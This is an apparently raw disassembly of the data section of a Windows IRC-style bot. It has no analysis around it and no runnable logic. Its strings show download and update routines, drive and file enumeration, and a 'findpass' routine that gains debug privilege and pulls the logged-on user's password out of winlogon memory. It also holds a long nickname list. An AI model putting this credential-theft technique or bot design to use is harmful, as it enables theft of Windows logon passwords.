aUpdateFailedEr db 'update failed, error executing %s',0
align 10h
unk_44E9F0 db 2Dh ; - ; DATA XREF: sub_416D68+480o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
a?_0: ; DATA XREF: sub_4172FC+1Fo
unicode 0, <?>,0
off_44EA20 dd offset word_4D4152 ; DATA XREF: sub_4172FC:loc_417321o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4172FC:loc_417327o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4172FC:loc_41732Do
aDisk db 'Disk',0 ; DATA XREF: sub_4172FC:loc_417333o
align 4
aInvalid db 'Invalid',0 ; DATA XREF: sub_4172FC:loc_417339o
aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_4172FC:loc_41733Fo
aSkb db '%sKB',0 ; DATA XREF: sub_41738D+70o
align 4
aSkb_0 db '%sKB',0 ; DATA XREF: sub_41738D+9Bo
align 4
aSkb_1 db '%sKB',0 ; DATA XREF: sub_41738D+C6o
align 4
aFailed db 'failed',0 ; DATA XREF: sub_41738D+E0o
align 4
aFailed_0 db 'failed',0 ; DATA XREF: sub_41738D+F1o
align 4
aFailed_1 db 'failed',0 ; DATA XREF: sub_41738D+102o
align 4
aFailed_2 db 'failed',0 ; DATA XREF: sub_4174B1+3Bo
align 4
unk_44EA84 db 2Dh ; - ; DATA XREF: sub_4174B1+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
unk_44EAC0 db 2Dh ; - ; DATA XREF: sub_4174B1+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
aA_2 db 'A:\',0 ; DATA XREF: sub_417583:loc_4175C8o
unk_44EB00 db 2Dh ; - ; DATA XREF: sub_417606+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dword_44EB28 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_417606+C5o
dd 64252064h, 6C696620h, 7365h
dword_44EB48 dd 2A5C7325h, 0 ; DATA XREF: sub_41771E+1Ao
dword_44EB50 dd 255C7325h, 73h ; DATA XREF: sub_41771E+7Ao
dword_44EB58 dd 255C7325h, 73h ; DATA XREF: sub_41771E+CEo
dword_44EB60 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_41771E+107o
dd 73252064h, 73255Ch, 0
unk_44EB80 db 2Dh ; - ; DATA XREF: sub_41786C+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41786C+40o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_41786C+55o
align 10h
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_41786C+68o
align 4
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_41786C+73o
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_41786C+80o
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_41786C+8Do
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_41786C+9Ao
align 10h
aUsername: ; DATA XREF: sub_41786C+CEo
unicode 0, <USERNAME>,0
align 4
aUserdomain: ; DATA XREF: sub_41786C+DCo
unicode 0, <USERDOMAIN>,0
align 10h
unk_44EC90 db 2Dh ; - ; DATA XREF: sub_41786C+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
unk_44ECEC db 2Dh ; - ; DATA XREF: sub_41786C:loc_4179B1o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_44ED24 db 2Dh ; - ; DATA XREF: sub_41786C:loc_4179B8o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41786C+161o
align 4
unk_44ED64 db 2Dh ; - ; DATA XREF: sub_41786C:loc_4179E5o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417A3E+AFo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417A3E+123o
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417A3E+13Eo
align 8
dword_44EDB8 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417E98+70o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_44EE08 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417F2F+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_44EE58 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417F2F+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h, 0
aQwertyuipasdfg: ; DATA XREF: _2:off_44F430o
; _2:0044F434o ...
unicode 0, <qwertyuipasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM>,0
aSmartmir db 'SMARTMIR',0 ; DATA XREF: _2:0044F4FCo
align 4
aFarooq db 'farooq',0 ; DATA XREF: _2:0044F500o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: _2:0044F504o
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: _2:0044F508o
align 10h
aEmilya db 'emilya',0 ; DATA XREF: _2:0044F50Co
align 4
aKrizha db 'KRIZHA',0 ; DATA XREF: _2:0044F510o
align 10h
aCar1nna db 'Car1nna',0 ; DATA XREF: _2:0044F514o
aSwin db 'swin',0 ; DATA XREF: _2:0044F518o
align 10h
aMale db 'male',0 ; DATA XREF: _2:0044F51Co
align 4
aKoko db 'koko',0 ; DATA XREF: _2:0044F520o
align 10h
aFlexster db 'flexster',0 ; DATA XREF: _2:0044F524o
align 4
aKen db 'ken',0 ; DATA XREF: _2:0044F528o
aShez db 'Shez',0 ; DATA XREF: _2:0044F52Co
align 4
aTalika db 'talika',0 ; DATA XREF: _2:0044F530o
align 10h
aMarcy db 'marcy',0 ; DATA XREF: _2:0044F534o
align 4
aCme db 'cme',0 ; DATA XREF: _2:0044F538o
aHeval db 'heval',0 ; DATA XREF: _2:0044F53Co
align 4
aBunty db 'bunty',0 ; DATA XREF: _2:0044F540o
align 4
aJanno db 'janno',0 ; DATA XREF: _2:0044F544o
align 4
aRimpy db 'rimpy',0 ; DATA XREF: _2:0044F548o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: _2:0044F54Co
align 4
aLuisa db 'Luisa',0 ; DATA XREF: _2:0044F550o
align 10h
aTroller db 'troller',0 ; DATA XREF: _2:0044F554o
aManee db 'manee',0 ; DATA XREF: _2:0044F558o
align 10h
aKermit db 'kermit',0 ; DATA XREF: _2:0044F55Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: _2:0044F560o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: _2:0044F564o
align 10h
aImra db 'imra',0 ; DATA XREF: _2:0044F568o
align 4
aGirl db 'GirL',0 ; DATA XREF: _2:0044F56Co
align 10h
aCamel db 'CAMEL',0 ; DATA XREF: _2:0044F570o
align 4
aReshma db 'reshma',0 ; DATA XREF: _2:0044F574o
align 10h
aKencing db 'Kencing',0 ; DATA XREF: _2:0044F578o
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: _2:0044F57Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: _2:0044F580o
align 10h
aKaan38dent db 'kaan38dent',0 ; DATA XREF: _2:0044F584o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: _2:0044F588o
aHexaaa db 'hexaaa',0 ; DATA XREF: _2:0044F58Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: _2:0044F590o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: _2:0044F594o
align 4
aIrmal db 'irmal',0 ; DATA XREF: _2:0044F598o
align 4
aMisssunday db 'misssunday',0 ; DATA XREF: _2:0044F59Co
align 4
aTolga34 db 'Tolga34',0 ; DATA XREF: _2:0044F5A0o
aJericho db 'JERICHO',0 ; DATA XREF: _2:0044F5A4o
aMary_0 db 'MARY',0 ; DATA XREF: _2:0044F5A8o
align 10h
aAkin db 'AKIN',0 ; DATA XREF: _2:0044F5ACo
align 4
aMelekk db 'melekk',0 ; DATA XREF: _2:0044F5B0o
align 10h
aTrend3 db 'trend3',0 ; DATA XREF: _2:0044F5B4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: _2:0044F5B8o
align 4
aTekir db 'tekir',0 ; DATA XREF: _2:0044F5BCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: _2:0044F5C0o
align 4
aSevmekmi db 'sevmekmi',0 ; DATA XREF: _2:0044F5C4o
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: _2:0044F5C8o
aArzu db 'ARZU',0 ; DATA XREF: _2:0044F5CCo
align 4
aHaticem db 'haticem',0 ; DATA XREF: _2:0044F5D0o
aErnesto db 'ERNESTO',0 ; DATA XREF: _2:0044F5D4o
aAslii db 'aslii',0 ; DATA XREF: _2:0044F5D8o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: _2:0044F5DCo
aSamyeli21 db 'samyeli21',0 ; DATA XREF: _2:0044F5E0o
align 10h
aRetg db 'RETG',0 ; DATA XREF: _2:0044F5E4o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: _2:0044F5E8o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: _2:0044F5ECo
align 10h
aAhmet db 'ahmet',0 ; DATA XREF: _2:0044F5F0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: _2:0044F5F4o
align 10h
aAnk32m db 'ank32m',0 ; DATA XREF: _2:0044F5F8o
align 4
aZack db 'ZACK',0 ; DATA XREF: _2:0044F5FCo
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: _2:0044F600o
align 4
aAlbina db 'albina',0 ; DATA XREF: _2:0044F604o
align 4
aAyla db 'AYLA-',0 ; DATA XREF: _2:0044F608o
align 4
off_44F17C dd offset byte_457441 ; DATA XREF: _2:0044F60Co
aAnkh db 'ankh',0 ; DATA XREF: _2:0044F610o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: _2:0044F614o
align 4
aBogac db 'bogac',0 ; DATA XREF: _2:0044F618o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: _2:0044F61Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: _2:0044F620o
align 4
aDenizlim db 'DenizliM',0 ; DATA XREF: _2:0044F624o
align 10h
aBerk19m db 'Berk19m',0 ; DATA XREF: _2:0044F628o
aDevran db 'devran',0 ; DATA XREF: _2:0044F62Co
align 10h
aArda db 'arda',0 ; DATA XREF: _2:0044F630o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: _2:0044F634o
aMurat34M db 'murat34-m',0 ; DATA XREF: _2:0044F638o
align 10h
aHakan3 db 'hakan3',0 ; DATA XREF: _2:0044F63Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: _2:0044F640o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: _2:0044F644o
align 4
aEmre db 'Emre--',0 ; DATA XREF: _2:0044F648o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: _2:0044F64Co
align 10h
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: _2:0044F650o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: _2:0044F654o
aFlord db 'FLoRD',0 ; DATA XREF: _2:0044F658o
align 4
aHoly db 'holy',0 ; DATA XREF: _2:0044F65Co
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: _2:0044F660o
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: _2:0044F664o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: _2:0044F668o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: _2:0044F66Co
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: _2:0044F670o
align 4
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: _2:0044F674o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: _2:0044F678o
aKumul db 'kumul',0 ; DATA XREF: _2:0044F67Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: _2:0044F680o
align 10h
aUmut db 'umut-',0 ; DATA XREF: _2:0044F684o
align 4
aAnk32M db 'ANK-32-M',0 ; DATA XREF: _2:0044F688o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: _2:0044F68Co
aAnkar db 'Ankar',0 ; DATA XREF: _2:0044F690o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: _2:0044F694o
align 10h
aHayran db 'hayran',0 ; DATA XREF: _2:0044F698o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: _2:0044F69Co
align 4
aKapk db 'kapk',0 ; DATA XREF: _2:0044F6A0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: _2:0044F6A4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: _2:0044F6A8o
align 10h
aKotan db 'kotan',0 ; DATA XREF: _2:0044F6ACo
align 4
aSevda db 'sevda',0 ; DATA XREF: _2:0044F6B0o
align 10h
off_44F310 dd offset byte_4B5245 ; DATA XREF: _2:0044F6B4o
aAlcatras db 'alcatras',0 ; DATA XREF: _2:0044F6B8o
align 10h
aA44m db 'a44m',0 ; DATA XREF: _2:0044F6BCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: _2:0044F6C0o
align 10h
aYabanc db 'yabanc',0 ; DATA XREF: _2:0044F6C4o
align 4
aDevre db 'devre',0 ; DATA XREF: _2:0044F6C8o
align 10h
aErkan db 'erkan',0 ; DATA XREF: _2:0044F6CCo
align 4
aAnkm db 'ankM',0 ; DATA XREF: _2:0044F6D0o
align 10h
aAdem28 db 'Adem28',0 ; DATA XREF: _2:0044F6D4o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: _2:0044F6D8o
align 4
aM41ist db 'M41IST',0 ; DATA XREF: _2:0044F6DCo
align 4
aAdamm33 db 'AdAMM33',0 ; DATA XREF: _2:0044F6E0o
aFirtina db 'firtina',0 ; DATA XREF: _2:0044F6E4o
aAta29 db 'Ata29',0 ; DATA XREF: _2:0044F6E8o
align 4
aKoray db 'KORAY',0 ; DATA XREF: _2:0044F6ECo
align 4
aAkden db 'akden',0 ; DATA XREF: _2:0044F6F0o
align 4
aIzmirlm db 'izmirlm',0 ; DATA XREF: _2:0044F6F4o
aUla db 'ula',0 ; DATA XREF: _2:0044F6F8o
aNeHaber db 'NE-HABER',0 ; DATA XREF: _2:0044F6FCo
align 4
aPassenger db 'passenger',0 ; DATA XREF: _2:0044F700o
align 4
aTropikal db 'tropikal',0 ; DATA XREF: _2:0044F704o
align 4
aCool30m db 'cool30m',0 ; DATA XREF: _2:0044F708o
aCem39 db 'cem39',0 ; DATA XREF: _2:0044F70Co
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: _2:0044F710o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: _2:0044F714o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: _2:0044F718o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: _2:0044F71Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: _2:0044F720o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: _2:0044F724o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: _2:0044F728o
align 10h
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: _2:0044F72Co
align 10h
off_44F430 dd offset aQwertyuipasdfg ; DATA XREF: sub_418428+5Cr
; "qwertyuipasdfghjklzxcvbnmQWERTYUIOPASDF"...
dd offset aQwertyuipasdfg+2
dd offset aQwertyuipasdfg+4
dd offset aQwertyuipasdfg+6
dd offset aQwertyuipasdfg+8
dd offset aQwertyuipasdfg+0Ah
dd offset aQwertyuipasdfg+0Ch
dd offset aQwertyuipasdfg+0Eh
dd offset aQwertyuipasdfg+10h
; ---------------------------------------------------------------------------
retn 44EEh
; ---------------------------------------------------------------------------
align 4
dd offset aQwertyuipasdfg+14h
dd offset aQwertyuipasdfg+16h
; ---------------------------------------------------------------------------
enter 44EEh, 0
retf 44EEh
; ---------------------------------------------------------------------------
align 4
dd offset aQwertyuipasdfg+1Ch
dd offset aQwertyuipasdfg+1Eh
dd offset aQwertyuipasdfg+20h
dd offset aQwertyuipasdfg+22h
dd offset aQwertyuipasdfg+24h
dd offset aQwertyuipasdfg+26h
dd offset aQwertyuipasdfg+28h
dd offset aQwertyuipasdfg+2Ah
dd offset aQwertyuipasdfg+2Ch
dd offset aQwertyuipasdfg+2Eh
dd offset aQwertyuipasdfg+30h
dd offset aQwertyuipasdfg+32h
dd offset aQwertyuipasdfg+34h
dd offset aQwertyuipasdfg+36h
dd offset aQwertyuipasdfg+38h
dd offset aQwertyuipasdfg+3Ah
dd offset aQwertyuipasdfg+3Ch
dd offset aQwertyuipasdfg+3Eh
dd offset aQwertyuipasdfg+40h
dd offset aQwertyuipasdfg+42h
dd offset aQwertyuipasdfg+44h
dd offset aQwertyuipasdfg+46h
dd offset aQwertyuipasdfg+48h
dd offset aQwertyuipasdfg+4Ah
dd offset aQwertyuipasdfg+4Ch
dd offset aQwertyuipasdfg+4Eh
dd offset aQwertyuipasdfg+50h
dd offset aQwertyuipasdfg+52h
dd offset aQwertyuipasdfg+54h
dd offset aQwertyuipasdfg+56h
dd offset aQwertyuipasdfg+58h
dd offset aQwertyuipasdfg+5Ah
dd offset aQwertyuipasdfg+5Ch
dd offset aQwertyuipasdfg+5Eh
dd offset aQwertyuipasdfg+60h
dd offset aQwertyuipasdfg+62h
dd offset aQwertyuipasdfg+64h
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_44F17C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_44F310
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
dword_44F730 dd 786573h, 7A656Ch, 78657Ah, 65657274h, 0 ; DATA XREF: _2:off_44F8F0o
; _2:0044F8F4o ...
dword_44F744 dd 646162h, 67616Ch, 6D61747Ch, 7C6562h, 686F777Ch, 7Ch
; DATA XREF: _2:0044F900o _2:0044F904o ...
dd 6F747C2Dh, 7C74h, 6375737Ch, 7C6Bh, 63756C7Ch, 7C6Bh
dd 6275687Bh, 7Dh, 7865737Bh, 7Dh, 6E65677Bh, 7C73h, 756C7C7Ch
dd 662D7576h, 7Ch, 6B69777Ch, 7C6465h, 6B636973h, 7D7Dh
dd 3851h, 7C38717Ch, 620061h, 640063h, 660065h, 680067h
dd 5F0069h, 6B006Ah, 6D006Ch, 6F006Eh, 710070h, 7372h
dd 750074h, 770076h, 790078h, 7Ah, 70706168h, 79h, 6772h
dd 7974h, 6667h, 7472h, 666473h, 6975h, 7976756Ch, 0
aTrimy db 'trimy',0 ; DATA XREF: _2:0044F9C0o
align 4
aTruck db 'truck',0 ; DATA XREF: _2:0044F9C4o
align 10h
aMuckc db 'muckc',0 ; DATA XREF: _2:0044F9C8o
aZ db 'z',0 ; DATA XREF: _2:0044F9CCo
aGsq: ; DATA XREF: _2:0044F9D0o _2:0044F9D4o ...
unicode 0, <gsq>,0
off_44F830 dd offset loc_425242 ; DATA XREF: _2:0044F9DCo
dword_44F834 dd 6C62627Ch, 0 ; DATA XREF: _2:0044F9E0o
dword_44F83C dd 5F7C5Fh, 4D0046h, 5556554Ch, 0 ; DATA XREF: _2:0044F9ECo
; _2:0044FA00o ...
dword_44F84C dd 646153h, 665E5E5Eh, 62005Eh, 65656C53h, 676E6970h, 0
; DATA XREF: _2:0044FA0Co _2:0044FA10o ...
aFuck_0 db 'Fuck',0 ; DATA XREF: _2:0044FA28o
align 4
aFree_0 db 'Free',0 ; DATA XREF: _2:0044FA2Co
align 2
asc_44F872 db 'X',0 ; DATA XREF: _2:0044FA38o
aBoy db 'BOY',0 ; DATA XREF: _2:0044FA40o
aGirl_0 db 'GIRL',0 ; DATA XREF: _2:0044FA44o
align 10h
aGurl db 'gurl',0 ; DATA XREF: _2:0044FA48o
align 4
aShit db 'shit',0 ; DATA XREF: _2:0044FA4Co
align 10h
aAha db 'aha',0 ; DATA XREF: _2:0044FA50o
aYeah db 'yeah',0 ; DATA XREF: _2:0044FA54o
align 4
aMuha db 'muha',0 ; DATA XREF: _2:0044FA58o
align 4
aMof0 db 'mof0',0 ; DATA XREF: _2:0044FA5Co
align 4
aMofo db 'mofo',0 ; DATA XREF: _2:0044FA60o
align 4
aTot db 'tot',0 ; DATA XREF: _2:0044FA64o
aLol db 'lol',0 ; DATA XREF: _2:0044FA68o
aLoloA db 'lolo|a|',0 ; DATA XREF: _2:0044FA6Co
aSex4free db '|sex4free|',0 ; DATA XREF: _2:0044FA70o
align 10h
a4us db '|4us|',0 ; DATA XREF: _2:0044FA74o
align 4
a4you db '{4you}',0 ; DATA XREF: _2:0044FA78o
align 10h
a4u db '|4u|',0 ; DATA XREF: _2:0044FA7Co
align 4
a5u db '5u',0 ; DATA XREF: _2:0044FA80o
align 4
a6u db '6u',0 ; DATA XREF: _2:0044FA84o
align 10h
off_44F8F0 dd offset dword_44F730 ; DATA XREF: sub_418428+41r
; sub_418428+ECr
dd offset dword_44F730+4
dd offset dword_44F730+8
dd offset dword_44F730+0Ch
dd offset dword_44F744
dd offset dword_44F744+4
dd offset dword_44F744+8
dd offset dword_44F744+10h
dd offset dword_44F744+18h
dd offset dword_44F744+20h
dd offset dword_44F744+28h
dd offset dword_44F744+30h
dd offset dword_44F744+38h
dd offset dword_44F744+40h
dd offset dword_44F744+48h
dd offset dword_44F744+54h
dd offset dword_44F744+5Ch
dd offset dword_44F744+64h
dd offset dword_44F744+68h
dd offset dword_44F744+6Eh
dd offset dword_44F744+70h
dd offset dword_44F744+72h
dd offset dword_44F744+74h
dd offset dword_44F744+76h
dd offset dword_44F744+78h
dd offset dword_44F744+7Ah
dd offset dword_44F744+7Ch
; ---------------------------------------------------------------------------
retn 44F7h
; ---------------------------------------------------------------------------
align 10h
dd offset dword_44F744+80h
dd offset dword_44F744+82h
; ---------------------------------------------------------------------------
enter 44F7h, 0
retf 44F7h
; ---------------------------------------------------------------------------
align 10h
